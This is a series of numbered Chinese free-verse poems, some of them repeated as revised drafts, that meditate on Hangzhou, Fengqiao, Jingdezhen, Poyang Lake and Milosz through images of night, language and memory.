海德格尔在谈论哲学之结束时，这一是否以此而来的轻微的妙用之窃喜。仿佛有物，而在哲学向戏曲的跃迁这一中国化这里，我重新提起这一窃喜 为敬重于存在这一，在中国人这里一直都在，它更古老于认识论形式的西方哲学的一切，而它本身否定了 起初我们所想的一切————作为这一课题。 杭州之于戏曲的意义1053 《杭州》 杭州城的本质:戏曲为语言所追逐。曾经短暂的出现 同样短暂于消逝的这一出现使得了它那名字出现 ——“临安”。但并不为此而杭州城是为别的什么， 就像它为了自身的不真实感的观察。或者别的。 或者它有所为。在它作为杭州的这一窝并不了解的历史之上，我谈论【戏曲】，作为这一人的本质的 杭州之为戏的事物，比如在于铺开，延展，我们重新为此而思 在哲学结束这一窃喜般的存在之论调处，我是说一种【经过枫桥夜泊而由西方哲学向中国戏曲的跃迁】 但我知之甚少，为自己的贫乏而不自知。 石头1054 《石头》 温柔的时光，我放弃了 自己随后会略显多余的 判断，仿佛在那一些有 必要和光芒都一同祷慰着 自然的缝隙里面，一颗 石头，正经受着在治愈 之后，不知道是什么的 新的顽疾。愿望此夜并不 因为石头，当那一些实则 存在于我内心和身体之中 波纹一样，对于逻辑依然 不停的想象。想象时候的 困难也包括在内，如同 一种需要说出的命运被咽了 下去。对于这样一些声音的 热爱，就如同我在这些无声 寂静的荒野回到了过去 为弥补此刻而同样过去的刹那。 如果以烟火来表示，我想要 去再次的寻找你，并且在 找到了之后的无言那里，面容 惆怅的转身离开。夜晚， 并不是那样，以白色的明亮 所照射的过去与现在，地理位置 一般的远和近。而我的思 我要压住了它的汹涌的前奏。 为这一平心静气的形象实则可以 尴尬的持续了很久。石头 与现实之间的因果，无法 因为没有而被找到，而那 一些并不存在的声响越发的 寂寞，需要我，一个走夜路 的人的安慰。这是一个因为你 亲爱的，而奇妙的时刻， 同一种事物是历史之中，惆怅 和惆怅的此刻，即使我为无言 的时刻。我为了狭小之中的人， 这一为卑微而是的我，才可以 因为交出。我欢喜，而歌，同时 惆怅，你在历史中，无论远近。 湖泊1055 对与错 《对与错》 谁不爱呢？ 所判断出来的， 以对与错，那 对与错误的爱，也爱着。 我们的爱因此在错误之中长久， 在对的追求， 如同在屋舍——就把它建筑在山涧。 如流水，更早之前的存在。 当时，语言的形象，如此的懵懂 从纯然的，从雾气蒙蒙， 如同闪电，交出了自己的声音， 流入这个复杂的末世。 城外1056 《城外》 要是只为了远方，而不断祈求于 水的歇斯底里。或迷途之水本质中的 二者的单一，如此你与我共享了你的 目光，你试图固定住你景物的 善变。为移动和流逝者，直到成为那 自然之中，在于他那异类如此无助 的外观。从你的身边经过的 古老的思绪与风，微弱的声音里面 和解了。一切安静，仿佛一切都会 再次的因为与人的心灵一样的，同样 的微小而重现。那么，仅仅就这样的 一个问题（话语之外，还不是它那 镜子般，镜框没有影子的话题的边缘）。 是否就是你那结果之心，在你的口述， 生活之中的那一个沉默，抚摸着 手边可以摸到的，矮小的景观树。 我叫不出它的名字，对于它，我 的浮略而过跟街道上面，它RR 面对的汽车，在繁忙中作为同样的 一种东西，坐在了离开那里很远的 地方的一个我，如同那一棵树，是 汽车自己在空空的疾驰。但我还是 试图同样艰难的直到作为了在遗失 之中为空空的遗忘而歌，就是此刻， 为从揭示了的那此刻的歌曲的一切 没有它们那无关于看的，听的，直到 你不相信而靠近，走近试图明证的 一切。空空。不久之后，因为你的 眼光所唤醒的陈年记忆，雪会怪罪于 秋天的降落在了这样一个需要覆盖的 大地，还是你要对于此进行补充的， 那一个微小人类的模样。我一无所知 的知的因为知的那庸俗，为那一作为 简单事物的美，包括那放松，直到 作为路边的一块石头，何其有幸，你说 穿过了人类的时间史。 枫桥镇1057 《枫桥镇》 热爱于热的冷 就是这样，在一个 僻静的村庄，它 与凋零为伍，在自甘堕落的 大地一般将人类 倒影的审判中，穿透了自身。 因此也好像是了别的，是同时， 发生这同一时刻的事情 那是另外的一个漩涡。 忽然，它如同我推开了极其遥远 的一扇窗户一般的，又眼前一般的 热爱着的冷的可能， 为此所实现的我称之为一切， 为此工作良多，一切，甚至于 在一切一般的未来着，于是 当它们如同星斗一般给予了 过去以压力，在人类投影里面 喘不过气的我，这样一个名字 这样一种事实，匆忙的，与 刚才的所思的贫乏而连接着 我喟叹于望的希望它的断裂， 我空有它的声音。 大街1058 《大街》 路只有一条，还不是如海风一般， 直到它慢慢，没有修饰的命运 撞击上了海风。如此柔软， 那只是在身体的内部因为言语 而说出时刻的妥协。直到调转了 船头伪装的也还是它，一路向下 为从这一对于迷途在我们、你我， 身体上面的解释。我们离着倾听 的乐章，当它演奏着有关耳朵失聪。 这并不是对于任何而言合适的时刻， 我相信，存在于内心处的柔软，早 已经参透了一切，并且，比如，为 推出来了的言语之菜盘，手儿的端出 ——又是在它自己之中吧，没有间距 的，那沉默以跳动表达着。我肯定也在 某一个人心里是它的影子，片缕。 我因此不得不在熙熙攘攘的大街上。 我是从一个卖眼镜的店铺被推了出来， 一如因为毫无缘由而曾经使得了人们 在听众的身份里面愤懑，为走出盲目者 如果不仅仅只是我们自己，而使得了 我们看起来，在大街上的光明里面显得 孤独。常在者的这一个，正是它被我 失败的抓住，那被攫取而出的因果，即使 在眼睛店铺里面我以为是那通行的疗效， 正是在于容不得我为一切而杜撰和诟病的 同样的一个“失败”。 苏州大街1059 《苏州大街》 路只有一条，还不是如海风一般， 直到它慢慢，没有修饰的命运 撞击上了海风。如此柔软。 这样美的形象，只会在这样 有关于此表达的句子中割接的发生， 无形的壁垒阻隔了，令人 厌倦的海潮。那是你早已经 因为我的贫乏，粗鲁还有自私，野蛮 而存在着的身体，伪装的身体 试图回到了身体的伪装。真实 这夜里如同鸟儿因为人， 模仿了鸟儿的叫声而被中伤。在故乡。 在明月一点点更加的升起的高度里面， 故乡的湖泊。这夜晚自己， 也是我的点缀物。我的想象 因为你也不因为你的，在时间 一点点变的缓慢的流逝里面，艰难 于更加的艰难。话语如同惊雷，在你 身体沉默的内部爆炸。那时候我重复了 自己没有做过的事情的动作，即使 我已经因为投降，冠之以万物的它们。 但没有方向，也没有沉默的语气， 悲伤是太过于对于这样的夜晚而突兀的 事物，别的事物。别的事物般的那进入 你的语言里面。或者我期盼那些离开者， 因为离开者的众多而可以，得以离开者。 其中有怜悯，我的侥幸，当时我试图在 此刻而使用了想象而思索它们，在不能 中行走，像一个人，在我自己看来。 枫桥的秋夜1059 《枫桥的秋夜》 可能是静止不动，因为。 看起来像原因的这一个。 那一个，在哪里呢， 也像你的是你，也不是你。 \/ 言语的滑坡连接着，远处 黑暗里面被夜色所试图拯救， 而就是在空谈的放弃里面， 弃之不顾的一支美丽的手儿， 从如此之多的溢美之词而来， 但没有放弃了道德的那一个， 在争辩里面最深的那一个， 如同行动一般。 \/ 当言语的坡道比什么都要久远的 依存在无形的大地里面，月亮 来往于两个世界。它的暗淡的回忆 ————就像它不久之后会在 照亮之中，光芒渐渐的， 因为再次的照亮了它而变得 成疑。即使并不在回忆里面安宁。 \/ 我热烈的词组失败对于尝试的回应， 止步于对于人这一个我的回应的 冷漠的态度。因为只有一副世上 一个人此刻的脸庞:当它表达了 喜悦，为突然到来的冷漠，作为 巨大的转折，就像一个事物， 无论它在我看来，巨大或者微小， 也不是这溶解于夜色的，回忆再次 如阵痛一般的行为。投身于夜色 应该一言不发，在它自己的清晰， 明确，在我心里面是冥冥之中的知晓， 在语言上的表达被难以言喻所束缚。 枫桥镇1060 《枫桥镇》 曾经伟大的。比如城池。只有 坚固，当我在被一点点的稀释 的目光依然投向了我不了解的 事物。历史的这一因多半错误 而提出的称谓。并不仅仅只是 有它，就像在一个城堡一般， 荒木，乌鸦，雾气暗淡的夜里， 历史有了庞大身影。无论它审 视着这里或者那里的，这一个 行为是否已经因为低垂耳目的 为准备于新开始，沉默的谈论了 失败。谈论了失败的这一如同 空气一般的开始，已经扩散到了 我这里了。抬头看月，或者一种 结果之月是明亮的出处，那么， 它就会在一片皎洁，未来和过去的 赞美声里照着每一个人，他们行走 在青石板的大街。店铺关上了夜色 里面的木门。并非一切都那么的决然， 新的时代也是由青石板的雨后湿滑 来组成。即使并不是在常新的里面 有一场为挽留于倦怠而苦苦而来的 谈论，或者别的，使得每一个人都 成熟，开始变得人情世故。我还是 走着，言语因此化作了走路声， 除了因为遗忘而不能想起，就像 同时为思索而眉头紧锁，这些伟大 而使得我不能追逐者的思的瞬息之间。 也是我。他人通过夜色向我展示的 东西，在我的语言里面映现。当我们 不约而同的来到了，仿佛是它古已 有之的安居之所，在破败的城池遗迹， 人之无法离开自身的这一铭言 为它的那以正确的部分而在过去的 那一向未来的垮塌而作的建筑之上。 枫桥镇之二1061 《枫桥镇之二》 又是一个新的事物， 苦难于将挽留的形象包裹。 挽留于某一个事物的样子 就像我在一次次的将它们说出中， 被等待的自我混淆，自我迷失。 我是一个经得起了转折，那只引起 我自身迷惘，这样的一段话语 以是否正确和错误来称呼 ————就是在我将它们说出来的时候， 并不在于那些我随着时间流逝， 而在匆匆忙忙上面做了什么，最为 简单和部分的。并不是。 那是什么了，已经。 像这样追问的风中的话语， 像命运向站在山顶的人儿 所呈现的形象。 ————有人明悟，而我愚笨 明悟了我愚笨者， 为我点亮了灯火， 黑暗中独自待着的人， 像不远处的，因为夜色 而酒的，食物的，和青色的 同一个名字。 枫桥镇之三1062 《枫桥镇之三》 我以我的。在这样一个 仿佛对于傍晚以沉默所做 微小动作的致敬中， 我不知道这是否 如同一个原因一般的残缺， 只是，被叫做了它的， 在我的心里面异样的感觉。 落叶，不久之后的白雪 都会从天空落了下来，覆盖了 大地上的事物。我有同样的 只是去除了对万物悲悯的感觉。 我甚至觉得危险，所以 眼睛一直看着肉体。防止 在一种时时刻刻的对血肉的 覆盖之中，空气中无形的线条网络 会被某一片无法预知的叶子打破。 是的，大地也如法t 因为单单就是我， 在人类群体的这一面的被挤压的 脆弱，是它，在另一不同于此的 世界的大地被问询。 这有一个永恒的形象， 前提是，人类的形象不灭 我的祖先，此刻我所见的人 因此成了他们高大身躯的影子。 归根结底被归结的还是， 在我，一个平凡人叹息里面的他们。 来来去去的何时变成了时间， 我不禁猜测，有迹可循便 因为时间被人类细分:瞬息，时刻 而无迹可寻了。————这个 人类的世界，正冉冉升起。 枫桥镇之四1063 《枫桥镇之四》 唯一的一个结果不会推向一切。而 因此，他的另外的一个称呼和名字 比这一个要丰富很多，它以丰富见长。 屡试不爽，或者对于一个陌生人， 我并不认识。我只能够如此来在一个 陌生的地方，村庄，由两侧白桦树 构成的柏油公路来猜测。像我因为此 而赶在失语的慌乱形象到来前。如 迷路了一般的这言语也是异乡的 一部分，我也爱这遗忘突然到来的瞬间。 就像我因此正被什么，被万物都爱着。 在傍晚，它们的身影如同在雾气里面 一样的朦胧。我慌乱的神情，通过观察 那不可被观察的因果而稍微的平复下来， 我知道有人正等待着我。不同于他与我 擦肩而过。像唯一的一个名字的形象， 不同于那个从别处走来，走去的人。 手指1064 《手指》 小于灵感，那是世界无法被人们 证明对与错的终点。那是证明了 也无法反驳的，人最幸福的时刻。 灵感的火焰和火光，划破了人的手指。 疼哦，就蜷曲收拢起来的手指里面 还包括曾收图伸出来去试试火焰的想法。 JDZ1065 《JdZ》 没有的东西，在天平的 同样以渐渐消失所称量上。 一阵风就可以推F，就好像 一切都需要重来，人无法站在 那里很久。那些我想到过的 在我又可以离开着的想。回想是 困难和苦闷的。随后正是这一与 沉默混合不清的不停喃喃低语。 赞叹大自然的伟力，以这样一种 微不可闻的方式，在渐渐消失的 这一个倾向上面，又好像是它 拯救了自己。 JDZ1066 《JdZ》 保持在需要木匠打造一把 结实的木桌子上面。保持， 在我以离开的口吻，试图表达 一种这样无罪的方式。简单的 就像缓缓上升，直到位于桌子 上面。瓷瓶的被人说出和看， 对于说覆盖的那样一种彼此在人 这里，难以分离的时刻的物。 于是，近邻般瓷瓶周围的空气 流动，从摇摆不定而来。 像有喋喋不休的人，在它的周围 说着，语言自身在人嘴里面的 这一危险，如同悬崖和滑坡 ————随后被沉默的尴尬 所证明，诗歌有其位置: 它因为自身的短促而在于了同样 心情不甘的表达上面。泥瓦匠， 在室内陶制着，通过破碎一件件的 完整，来为通往的这一正名。 不同于走进的这一种方式，自然里面 被析取的人类，他陶工者得这一 身份的朴实无华。 陶土1067 《陶土》 突突响的那样一种响 又没有面貌，同时， 它多么因为人类操心和 人道的词汇累了，直到 想要赶往它自己肤浅的表面 之海，或者湖泊。这是 对于水的充满了感激之真实 才恩赐的时刻的丰厚， 比如，不同于在我们心里面所 缭绕，萦绕的那声音的震动， 早已经是了人在错误中的后果。 我已经厌烦，如果事情所在的 正是那样的一个位置: 它为迷离所矛盾，盛行秋风 天空因此而在部分的因果里面 与词语相伴的辽远。———那些 不是的是的位置上面，同样的 那一些土壤，好似我的目光也是 如此这般的向下，为它变得缓慢 而别有微情的，从不同于此的地方 再次开始的事情。 JDZ三1068 《JdZ三》 没有的东西，在天平的 同样以渐渐消失所称量上。 一阵风就可以推F，就好像 一切都需要重来，人无法站在 那里很久。那些我想到过的 在我又可以离开着的想。回想是 困难和苦闷的。我这样对自己说， 说那弹奏着的，只是除了我 分不清朝代之中的唐代还是宋代 的庭院之幽深。这说的声音自古代 而来。那庭院之中的矛盾，因为 唐代的宋，或者更为的遥远让一场 宿醉在庭院里面发生。我这应当 因被自我的证实而挽留的思索， 我面对的应当是一副悲天悯人的 严肃面容，有时候因为我的一转头 而是了柔情满满，她第一次进宫， 赶上了盛世，对一切，包括我冠称 以贫乏而到来，匆忙的，就像她 一样，一种思一样断然的情绪， 那时候他们的脸庞就像瓷器一样。 夜晚的江西1069 《夜晚的江西》 我的语言一定是寂寞而琐碎的。 窗外天光依然亮着，为黑暗的 到来做沉默的祷慰。一个 无人察觉的矛盾因此暗藏其中。 甚至是它因为不经思索而溜走的 快速。这也是傍晚本身短暂的 一部分。傍晚在有关于多的猜测 这里停止，停止然后猜测着别的。 像一种转向而导致了黑夜从明晰 转为语意不明。实则只是误解太久， 只有那些在茫茫黑夜行走中的知 把一个人推了出来。复又回去的 这一个人的倔强与无知。当把黑夜 称作了某种诱导人的事物，夜色中 能发现与此相关的诸多证据，我的 腰间挂着一个印章，经过需要雕刻的 树木，田间。 JDZ的手指1070 《JdZ的手指》 小于灵感，那是世界无法被人们 证明对与错的终点。那是证明了 也无法反驳的，人最幸福的时刻。 渐渐的包括那真在内的是了的 一切，也包括了这里。言语与 雾气没有区别，在一个泡沫一般， 因为没有说的沉默之形式，是外面 的里面。我如此因为眩晕而幸福 和平静，是一个自然而然的哺乳动物 哺乳动物正在江西某地，看向这一个 制作陶器，青瓷的人。那么，一点点 灵感的火焰和火光，带着希望的， 划破了人的手指。疼哦，就蜷曲收拢 起来的手指里面，还包括曾收图伸出来 去试试火焰的想法。 夜晚的鄱阳湖1071 《夜晚的鄱阳湖》 这些就是了。所以它震颤。 如同话语草丛中埋伏起来。 是否这是语言说的，遥远 的一个地方，山上的一个 石窟，嘴巴一般的张开再 闭上。我的感觉之中的看， 因此在渺茫的夜晚，获得 了毫无踪迹的原因。我的 说出只是复述了它。提出 问题的这一形式，在称之 为“新的”这一面容诚实中 是我自己多半怀疑的态度。 在我与我之间的那一距离， 因为时间太久了，累了， 像人一般，因为我也曾将 失败慢慢积累，将没有和 无，作为等同或者彼此分立 而作为一个整体，某一天 里面，在寒舍中热情似火的 尝试。伟大的突然声响来自于 火钩子的敲击而伴随着。 这被幻想如一只猫的 眼睛被空气肿的它自己迅速 以转身而消失和隐没。为了 让这植物，动物，进而文字 之于一切而在于其中的我的 贫乏，我说的却是安居乐业 的这一夜色里面变得唯一， 迥异的事物了。我回想的 成功，我复述带着不甘心于 词语对于我的放松的挟持一般 我迅疾否认，那我听见乃是 出自我口，这英雄的黑夜应 关怀于为他披上蓑衣的普通人。 我脚步止步在夜色的浅滩， 波浪的夜风来自于任何厌倦的 事物:我想起在看的这一隶属于 感觉的毫无察觉之中，就像 我的手边的茶杯，在屋子里面， 我叫它寒舍。失去了前后联系的 那一些它们，或者被叫做了它们 的这一紧随着声音，声音却消失 掉了感觉的这一它们，同如无的 和感觉的无。 公园1072 《公园》 你和我，渐行渐远 在一个浓密的林荫路上 成为了暗淡色调里面的 我们。我们起身的公园躺椅 如今空了，开始连接起来了 那时间无形的另外一端。 我们说出的话语，涉及到了 走路的声音。这内容，同时 在树林浓密的某一个角落， 树叶静止不动，风的暗示也 令它们自我厌倦。刹时间， 一切都没有一个词语增多而 在于此却知晓于去减少一般， 源头的。那么，我重复了 我一直重复的。我的身体，我的 需求，我只能说我的灵魂就是 次要中的这些事物了。最后的 一段话是矛盾的寒暄，也带着 各自的雨伞和手提袋。几只鸟儿 在树丛中，寂静的感觉迎面扑来， 老年人们低着头，再也无法年轻的 用这种方法来抵挡着。 夜晚1073 《夜晚》 一个人是如此的少， 在一个人承受了的惊扰 如同夜风之后，那逝去的 一阵也被语言追逐，一路 直到这沉默作为了延续的 时刻。错误的丛生，沉默 以冠之的时刻。匆匆的 短暂的，乃至，如同向着 本属于它自己的莫名乐章 目的地的我的这思虑。意 味于我随手就可以排除的 事情并非毫无重要。我这 样子的将它们逼迫到了， 另外的一个问题里面，极端 的一个位置。只有人的处境 不变，可能误解于为变居 不动，即使我平静的心思 和静止的身体。 姑苏城外寒山寺1074 《姑苏城外寒山寺》 太远了，因为太远 而更远的人， 而更加于远的人就是 我们的仇人和敌人。 我只是听到了语言中的 “那么。。。和这么。。” 它们敲响了听的这一 虚幻，夜晚的钟。 在有关于铸造的铁， 不生锈的金子的表面，和铜 捐献者曾经以信徒的虔诚 与你们对话，误入了 你们所设置的歧途。 ————这是他们的走到了寺院门口 ，仿佛所必须的最后的， 新的劫难。我说，语言的劫难 就以默不作声的态度， 如同夜晚的一副广阔，无形的 面孔找到你了。 应该是那一个不再停留的人 于是是走在回去的这一颜面尽失的 路途上面而追求于 “改变”的人儿。你因此而 如此美丽。语言因此不断的丛生， 我住在有水井被打出的庭院里面， 你还在走，表达于“新”的这一个 时刻，我与你一同举杯， 秋夜漫长，因为琐事，心情放松。 枫桥镇植物1075 《枫桥镇之五》 你感觉到了一种作为主角的遥远。 事实就在里面如四只脚被撑起的 语言。这一个放下，因此所藏的奥秘 就是在于一点点的流逝之中。我偶尔的 欢乐为此点缀着，那些繁星只是配角， 它们反映的曲目，在事情如梦一般的 结尾那里出现。但现在还不是时候 为没有被什么所指向的这里就是， 仅仅为停顿这一微小行为而发生的一切 因为我包括在了里面，借麻雀之名离开 而如同咬文嚼字的基础之上，原始而 干燥的木柴点燃了，造字的历史才可以 偷偷放入了一个，趁祖先们无暇顾及的 古代。此刻，我的脸庞一定是红的多重 奥义，通过酒瓶空空对于光线的折射， 你应当轻轻且温柔。看了过来使得我 停下了手中徒劳的动作，对于脑海里面 翻腾的抚弄应该在对于你以唇瓣的回应 里面，重复，实现以及连续不断。夜的 晚上，这夜的光明被如此轻易的证明 接着掩埋。作为一个复杂的词组，在 有趣提及的场合。很多人在语言里面堆叠 我们出于被迫而醉意熏熏的说话。 秋日1076 《秋日》 一次次回到了我再次将它们以言语来 推开的情境。作为一种不总是有关于 成功的背景板，在倾吐就能够实现之间， 我放弃了得到。而重新获得的这幸福的 肉身，也被什么所推着，我排除了身边 速度更快的秋风。造成了山林起伏不停 地虚影，它的更为真实所组成了的因果论 在我这里，我有时候也并不总是作为了 一个整体，尽管在它们被叫出的时刻是 艰难的一件事情。犹如一种太过于醍醐 灌顶一般的梗概。整体里面的那一个 推波助澜者，秋风里面被指向的肉身， 荒芜的山涧人烟稀少，破败的农舍墙壁 坍塌，正逐步步入了那一更为宏大背景的， 对于自己的这一脆弱，我是难以想象的。 群山1077 《群山》 发生和结束之间 有着什么事件，有着的 反转让发生的具体， 在于正准备结束着的什么。 当我走出了暗室， 回头以沉默的方式 我追逐和怀念的， 并不是刚才逝去的语言表达 跟院子里面的农具没有区别的 事物，同样也是在农具里面 愈加深而以猜疑我所常靠近的事物。 一间房舍，在它的愈加稀少的 压迫之中，将事物的普遍性 表露了出来。而因此，我却是 充耳不闻的，天光大亮， 我抓住的只是片缕和部分， 世界因此在错误的下降里面， 无法被语言的缺少所表达。 我听到了渐行渐远才是唯一 靠近的回声，那些造成了它的 必要位置上面的两边的群山， 一条峡谷从中穿行而过， 浓郁的树林，顺着山坡铺开。 我回忆的这一个语义丰富的假象 我的面庞贴近远处的山谷 寻找于我遗忘的这一个自己， 如同霎时间那远方呼唤了我自己的 那一个人，同样的一个，只是其中的 回忆是空缺的，更早之前，为弥补， 我走进了这，已经改变了天色的世界 屋舍的后缀，群山将那远远的后缀起来 空气中漂浮着没有完成的， 我无法反驳那些我的表达是 飘忽不定的。 枫桥镇之五1078 枫桥镇之五 《枫桥镇之五》 你感觉到了一种作为主角的遥远。 事实就在里面如四只脚被撑起的 语言。因此所藏的奥秘就是在于 一点点的流逝之中逼迫我放下，而我 却欢乐的为此点缀。繁星只是配角， 它们反映的曲目，在事情如梦一般的 结尾那里出现。但现在还不是时候 为没有被什么所指向的这里就是， 仅仅为停顿这一微小行为而发生的一切 因为我包括在了里面，借麻雀之名离开 而如同咬文嚼字的基础之上，原始而 干燥的木柴点燃了，造字的历史才可以 偷偷放入了一个，趁祖先们无暇顾及的 古代。此刻，我的脸庞一定是红的多重 奥义，通过酒瓶空空对于光线的折射， 你应当轻轻且温柔。看了过来使得我 停下了手中徒劳的动作，对于脑海里面 翻腾的抚弄应该在对于你以唇瓣的回应 里面，重复，实现以及连续不断。夜的 晚上，这夜的光明被如此轻易的证明 接着掩埋。作为一个复杂的词组，在 有趣提及的场合。很多人在语言里面堆叠 我们出于被迫而醉意熏熏的说话。 群山修改1079 群山（修改） 《群山》 发生和结束之间 有着什么事件，有着的 反转让发生的具体， 在于正准备结束着的什么。 当我走出了暗示， 回头以沉默的方式 我追逐和怀念的， 并不是刚才逝去的语言表达 跟院子里面的农具没有区别的 事物，同样也是在农具里面 愈加深而以猜疑我所常靠近着， 事物的那一种渐渐远离。 一间房舍，在它的愈加稀少的 压迫之中，将事物的普遍性 表露了出来。而因此，我却是 充耳不闻的，天光大亮， 我抓住的只是片缕和部分， 世界因此在错误的下降里面， 无法被语言的缺少所表达。 我听到了渐行渐远才是唯一 靠近的回声，那些造成了它的 必要位置上面的两边的群山， 一条峡谷从中穿行而过， 浓郁的树林，顺着山坡铺开。 我回忆的这一个语义丰富的假象 我的面庞贴近远处的山谷 寻找于我遗忘的这一个自己， 如同霎时间那远方呼唤了我自己的 那一个人，同样的一个，只是其中的 回忆是空缺的，更早之前，为弥补， 我走进了这，已经改变了天色的世界 屋舍的后缀，群山将那远远的后缀起来 空气中漂浮着没有完成的， 我无法反驳那些我的表达是 飘忽不定的。 傍晚的信1080 《傍晚的信》 当我行走，沿着眼前出现又 有可能消失的这条路，小心的 走在它行走的意义上面。 在递出前的书写，而检阅， 包括了它。我的手甚至比我自己 还要优先和强健，没有受到语言 袭扰的事物，裸露着它们无形的 躯体。因为你的消失不见， 而我以注重和严肃的态度， 就像这些在眼前展开的事物， 托举起来，它们的名字正随着 风摇晃，构成了傍晚金黄色的风景。 在田野中迷离的躯体， 如同一株摇晃着自己孤单的植物。 远方在阅读一般的突然之间， 让包括这里的黑夜如同一种惯性降临了 在我文字干枯，瘦削之中表达出来的 事物又沿着我曾走过的道路， 折返了回去，你念出了 仿佛是正被蜡烛燃烧和烘烤的“轮回” 与循环两个字，你所敬畏大地， 如同有一个巨大的声音，在同样的 念出里面，从人类的觉悟和愚昧之中 将大自然永恒的规则抖落了。 河床1081 《河床》 从不可以慢慢得出，否定和可以 像是来自于那里的一种假象， 在我仿佛总是低沉着的言语， 而言语之外总是把一切弄作了 相反的脸上，这一表情， 面容和沉默统称的称呼。 因为寂静，而有人叫我。 我厌倦了，对世界如同一个 谜的理解。干涸河流岸上的 沙子，成为了夜晚的组成部分， 用不经意的话语吸引毫无察觉的 人类。或者在迷幻的语言 堂而皇之的包装。而我们 都已经知晓了。睡眠滑过裸露的 碎石，一个又一个人的梦 被拐弯的不可避免放置在 河床上面，只有放置是突然的。 为我提供的清晰的谈资，稀少， 倒影在了我举起的酒杯表面， 语言与酒结合的这一个幻境， 我只有采取了同样的态度， 表情微红，语言正穿过了 酒醉人的深处，表明了我是 一切之始。我在这样的时刻 喟叹，拉记忆过来。 旷野1082 旷野 《旷野》 托举的双手，托举起的我那正准备向下的。 中间由思隔开。而一种依然正准备向下的可能性 最终，混为一谈仅仅在思与虑这里 便已经足够多了。冬日雪后的寒冷天气， 转阴，人，明证之心存有的人。热情赶来着 消逝了。我劝慰的言语所代表最后一丝气力， 到达于耳边。如果我所设想者， 从他那从未有过的勇气之中，何妨 不退却呢。冰霜冻住的路标，向静止的无力 并不曾晶莹，像一种新的方法 像只有在群山下面才好置放了，我们的语言。 海边1083 《海边》 世界在海边，终于 形成了为破碎而凝聚起来的 巨大之物。如同这个黄昏 并没有因为室内钟表走动在 对无声的敲打上面而再次涂抹上 短暂的颜色。过去力量自然的 亲戚，语言中重新会被提起时 陌生的它。我的弱小被体现， 语言被压迫，内心惊恐无比。 \/ 我的嘴唇颤抖，随后的脆弱 体现着为不停，在念叨之间 “我无法确定”。 谁又能知道那里有一个生灵。 \/ 真实，在我的语言中起伏。 被排除而矛盾于事实的劫后余生。 那些平静后的海浪把岸边推向远处， \/ 在我看来 像这幽居于眼睛的平息者。 我无法参透而看到的景色， 被我唤醒而以暴怒和平息于 我那惩戒语言的背影， 生命这一在短暂事物里面承载 装载了轮回的器皿。 \/ 海滩宽阔，舒展， 留给了语言的傍晚和夜晚的空间。 旷野之二1084 《旷野之二》 托举的双手，托举起的我那正准备向下的。 中间由思隔开。我的疏离感由此而来，但 并不是唯一的事物，那些在我嘴唇里面 形成了的纯净的空间，来自于思绪，身体 外面我那时候正路过了的野草，山楂树，道路弯曲 有着面临险境的危险，在存在于语言的这一方面 在山丘高耸，阻挡了我的视野之时。 仿佛为我的继续，这一个贫乏是它 对于生活而言，是从我转移到了它那里。 真正的，贫乏的这一个后缀，停下来的双手 面临尴尬无事可做里面的事情的本来面目。 借着这一个时间由纯净代表的时刻，事物 正通过狭窄，幽暗的缝隙进入到了我的内心。 作为开端之前的事物。事情已经发生。昨夜 它从我的记忆一次次的滑落，作为一种准备，尝试， 多半丰富了我对于未来的思的现在的孤独的时刻。 米沃什的那么少1085 《米沃什的那么少》 世界的白鲸鱼 把我拖向它的深渊。 \/ 我的嘴唇念叨着， ———“无法确定”。 拯救失灵 \/ 我走向我的解决了 它。 \/ 海潮 和白鲸鱼。 \/ 一个新的开始， 一开始结束就披上了 人类的灰色外套。 米沃什的关于天使1086 《米沃什的关于天使》 天S。你们被夺走的， 只剩下珍爱着自己身体 的这一情况。（你也 爱着一切。） \/ 仍然，依旧在发生。 ———仍然和依旧一般， 这一迷题如同事物 也只有人类才可以提出， 在他们过分的虔诚之后。 \/ 那些是你的子民和信徒。 天使——这个不必说出的名字。 声音已经在了消极的循环之中。 \/ 我无法言说，他们作为农民 走过田垄，扛着不同的农具。 被称作你在想起和遗忘之间的 这一个时刻，徘徊着，你的像是 人类一般但看起来更加因为朦胧不清 而伟岸，孤单的身影。 \/ 这也是记忆最清晰的时刻， 世界性，这一问题被提出 天与地只是辽阔的背景板。 选出的世界1087 远处的世界 《远处的世界》 我相信有一种置之不理的态度。 我怀抱着这种态度睡觉，脸庞 掩埋在棉被里面，面对着除此 之外的无。对那些置之不理之 所以由来和它那内容，我也 置之不理。因此像迷途的行者 数字般的孤单。手举微光照亮 这种莫名的蜡烛。这是夜荒凉 的冷风。最初行走的始发站， 那置之不理也将我这冷漠预期 和包裹之时。 米沃什的关于天使2——1088 《米沃什的关于天使2》 天S。你们被夺走的， 只剩下珍爱着自己身体 的这一情况。（你也 爱着一切。）像有关于 短暂和瞬息的故事 （只是声音微弱的延续着， 如同预言就快要发生了。） \/ 仍然，依旧在发生。 ———仍然和依旧一般， 这一迷题如同事物 也只有人类才可以提出， 在他们过分的虔诚之后。 \/ 那些是你的子民和信徒。 天使——这个不必说出的名字。 声音已经在了消极的循环之中。 \/ 我无法言说，他们作为农民 走过田垄，扛着不同的农具。 被称作你在想起和遗忘之间的 这一个时刻，徘徊着，你的像是 人类一般但看起来更加因为朦胧不清 而伟岸，孤单的身影。 \/ 这也是记忆最清晰的时刻， 世界性，这一问题被提出 天与地只是辽阔的背景板。 海边2————1089 《海边2》 世界在海边，终于 形成了为破碎而凝聚起来的 巨大之物。如同这个黄昏 并没有因为室内钟表走动在 对无声的敲打上面而再次涂抹上 短暂的颜色。过去力量自然的 亲戚，语言中重新会被提起时 陌生的它。我的弱小被体现， 语言被压迫，内心惊恐无比。 \/ 我的嘴唇颤抖，随后的脆弱 体现着为不停，在念叨之间 “我无法确定”。 谁又能知道那里有一个生灵。 \/ 这样的思也下降（到了真实的 这一堤岸。） 真实如此恐怖，多和余才能 缓解了它。事物紧接着 在一条踪迹，无法通行的 街道如桥梁上面 那一我们共同面对的问题， 谁能够解开它—— 我们的言语是并无二致的 对它重复的回声。 \/ 我生命无的消失， 使得这样的折返如最初的履历。 在念出和表达，位置一点点的 清晰。如同一个谎言，如同在 了闲暇如道德一般的时光里面。 像推动着的一点点的前进，没有 结束，向开始，如问题，转向了 别的。 城市1090 《城市》 你面对的要更多，没有了 夜晚通往花圃的道路。 也没有了让我们放弃的告知， 我们因此也没有了力气。 如同甩出了最后的一支飞镖 空气中摩擦出火花一般的语言 \/ : 矛盾来自于，随后变作了压力， 稀少变得越来越少。 在多和少之间的花朵凋零 比自然的秋天更多了一些。 空有其名的花圃靠近季节的 萧瑟和悲凉。又被寻找的热切 维系着。被花圃里面辛勤园丁 栽种着的这一渐渐冷却的热情 在某一个平凡的黄昏——执着 它这一名字被叫出之后。他把 